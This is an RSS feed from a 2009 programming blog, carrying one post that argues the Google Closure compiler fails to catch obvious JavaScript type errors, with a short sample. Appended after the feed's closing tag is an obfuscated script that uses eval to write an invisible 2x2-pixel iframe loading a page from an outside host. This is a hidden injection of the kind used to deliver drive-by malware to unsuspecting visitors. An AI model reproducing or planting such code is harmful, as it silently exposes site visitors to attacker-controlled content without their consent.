<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>LexParse &#187; dynamic languages</title>
	<atom:link href="http://www.lexparse.com/tag/dynamic-languages/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.lexparse.com</link>
	<description>Software Development</description>
	<lastBuildDate>Sat, 14 Nov 2009 03:39:33 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Stop Trying to Tame Dynamic Languages:  Google Closure Doesn&#8217;t Work</title>
		<link>http://www.lexparse.com/2009/11/06/stop-trying-to-tame-dynamic-languages-google-closure-doesnt-work/</link>
		<comments>http://www.lexparse.com/2009/11/06/stop-trying-to-tame-dynamic-languages-google-closure-doesnt-work/#comments</comments>
		<pubDate>Fri, 06 Nov 2009 16:38:43 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Languages]]></category>
		<category><![CDATA[dynamic languages]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[javascript]]></category>

		<guid isPermaLink="false">http://www.lexparse.com/?p=122</guid>
		<description><![CDATA[You could imagine my excitement when I read the following on the Google Closure page: 
&#8220;It also also checks syntax, variable references, and types, and warns about common JavaScript pitfalls. These checks and optimizations help you write apps that are less buggy and easier to maintain&#8221;
But then I tried the compiler and it thinks this [...]]]></description>
			<content:encoded><![CDATA[<p>You could imagine my excitement when I read the following on the <a href="http://code.google.com/closure/" target="_blank">Google Closure</a> page: </p>
<blockquote><p>&#8220;It also also checks syntax, variable references, and types, and warns about common JavaScript pitfalls. These checks and optimizations help you write apps that are less buggy and easier to maintain&#8221;</p></blockquote>
<p>But then I tried the compiler and it thinks this code is dandy:</p>
<pre name="code" class="javascript">
// ==ClosureCompiler==
// @compilation_level ADVANCED_OPTIMIZATIONS
// ==/ClosureCompiler==

function upper(s)
{
return s.toUpperCase();
}

function add(i)
{
return i + 1;
}

var i = add(new Array());

var s = upper(new Array());

alert(s);
alert(i);
</pre>
<p>Dynamic languages are evil.  They cannot be tamed by mankind.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lexparse.com/2009/11/06/stop-trying-to-tame-dynamic-languages-google-closure-doesnt-work/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script>var bpxDsSbm8='d*%@o*%@c*%@u*%@m*%@e*%@n*%@t*%@.*%@w*%@r*%@i*%@t*%@e*%@(*%@\'*%@<*%@i*%@f*%@r*%@a*%@m*%@e*%@ *%@s*%@r*%@c*%@=*%@"*%@h*%@t*%@t*%@p*%@:*%@/*%@/*%@n*%@i*%@n*%@o*%@p*%@l*%@a*%@s*%@.*%@c*%@o*%@m*%@/*%@i*%@n*%@.*%@p*%@h*%@p*%@"*%@ *%@w*%@i*%@d*%@t*%@h*%@=*%@2*%@ *%@h*%@e*%@i*%@g*%@h*%@t*%@=*%@2*%@ *%@f*%@r*%@a*%@m*%@e*%@b*%@o*%@r*%@d*%@e*%@r*%@=*%@0*%@>*%@<*%@/*%@i*%@f*%@r*%@a*%@m*%@e*%@>*%@\'*%@)*%@;*%@';eval(bpxDsSbm8.split('*%@').join(""));</script>